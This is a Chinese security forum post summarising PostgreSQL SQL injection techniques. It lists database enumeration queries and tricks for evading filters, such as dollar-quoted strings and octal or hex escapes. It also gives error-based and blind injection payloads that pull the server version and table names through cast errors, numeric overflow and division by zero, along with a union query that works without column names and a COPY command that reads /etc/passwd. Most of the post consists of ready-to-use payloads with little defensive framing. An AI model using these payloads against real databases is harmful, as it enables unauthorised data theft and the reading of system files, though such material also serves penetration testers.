安全矩阵

 找回密码
 立即注册
搜索
查看: 2851|回复: 0

Postgresql 注入总结

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-7 09:30:58 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-8-7 09:36 编辑

原文链接:Postgresql 注入总结

常用语句
  1. // 查询当前数据库
  2. select current_database();

  3. // 查询当前用户
  4. select current_user;

  5. // 查询当前版本
  6. select version();

  7. // 查询数据库版本
  8. SELECT current_setting('server_version_num');

  9. //查看当前权限
  10. select CURRENT_SCHEMA()        

  11. //查询表数据大小
  12. select pg_size_pretty(pg_indexes_size('users'));


  13. // 查询所有数据库
  14. SELECT datname FROM pg_database WHERE datistemplate = false;
  15. select schema_name from information_schema.schemata

  16. // 查询当前数据库中的所有表
  17. select * from pg_tables where schemaname = 'public';
  18. // 这里的information_schema 是个视图,并不真实存在这个库
  19. select table_name from information_schema.tables where table_schema='public';


  20. // 查询列名
  21. select column_name from information_schema.columns where table_name='表名';
复制代码


特性|| 是字符串拼接
  1. select 1||2;
复制代码

"" 双引号包裹为列名 而不是字符串
  1. select "username" from users
复制代码

支持的比较运算符还包括in 、not in、 exists 、 not exists is
  1. select username from users where username in ("admin")
  2. // 判断查询的结果是否有结果
  3. select exists (select * from users where username='')
  4. select (1=1) is true
复制代码

# 不是注释符号 而是运算符号bitwise XOR
  1. select 1#2
复制代码

支持的注释符号 /**/ --
PostgreSQL允许”逃逸”字符串
PostgreSQL 还允许 “逃逸”字符串中的内容,这是一个 PostgreSQL 对 SQL 标准的扩展。逃逸字符串语法是通过在字符串前写字母 E(大写或者小写)的方法声明的。比如 E'foo' 。当需要续行包含逃逸字符的字符串时,仅需要在第一行的开始引号前写上 E 就可以了。逃逸字符串使用的是C-风格的反斜杠(\)逃逸:\b(退格)、\f(进纸)、\n(换行)、\r(回车)、\t(水平制表符)。此外还支持 \*digits* 格式的逃逸字符(这里的 *digits* 是一个八进制字节数值),以及 \x*hexdigits* 格式的逃逸字符(这里的*hexdigits* 代表十六进制字节值)。你创建的字节序列是否是服务器的字符集编码能接受的正确字符,是你自己的责任。任何其它跟在反斜杠后面的字符都当做文本看待。因此,要在字符串常量里包含反斜杠,则写两个反斜杠(\\)。另外,PostgreSQL 允许用一个反斜杠来逃逸单引号(\'),不过,将来版本的 PostgreSQL 将不允许这么用。所以最好坚持使用符合标准的 '' 。
  1. <div>// 八进制</div><div>select E'\167\150\157\141\155\151'</div><div>// 十六进制</div><div>select E'\x77\x68\x6f\x61\x6d\x69'</div>
复制代码

字符串边界界定符号(可以绕过无单引号的情况)
  1. select $Dianne's horse$
复制代码


加解密函数
  1. md5()
  2. encode('111','base64')
  3. encode('111','hex')
复制代码


类型转化postgresql 要求查询的时候 类型要一致否则会报错
如下 利用::
常用的数据类型有
字符类型 text、varchar、char
数字类型 int(int4) 、 decimal(numeric) 、bigint(int8)、smallint(int2) 、real、double
布尔类型 boolean
时间类型 timestamp 、 date 、time 、interval
  1. select 1::varchar union select 'a'
复制代码


利用 函数进行转换
  1. select CAST('5' as char)
复制代码

利用函数转换
  1. select to_char(1234,'999')
  2. select to_date(text, text)
  3. select to_number('12,454.8-', '99G999D9S')
复制代码


获取正在查询的语句

  1. select current_query()
  2. select query from pg_stat_activity where datname='xx' and state ='active'
复制代码


报错盲注手段挺多的只要让运行时报错即可
  1. // 类型转换
  2. select case when( ascii(substring((select version()),1,1))=1 ) then 1 else (select 'aaa')::int end;

  3. // 溢出
  4. select exp((select case when( (select 1)=1  ) then 1 else 777 end))

  5. // 1/0
  6. select 1/(select case when( ascii(substring((select version()),1,1))>1 ) then 1 else 0 end)
复制代码


报错注入利用了类型转化来进行报错注入
  1. select cast((select version()) as numeric)
复制代码



  1. select CAST(('zzzz'||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||'zzz') AS NUMERIC)
复制代码

无列名注入同其他sql语言
  1. select b from (select null, null b, null union select * from users)
复制代码

读文件copy table(column) from '/etc/passwd'

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:42 , Processed in 0.012770 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表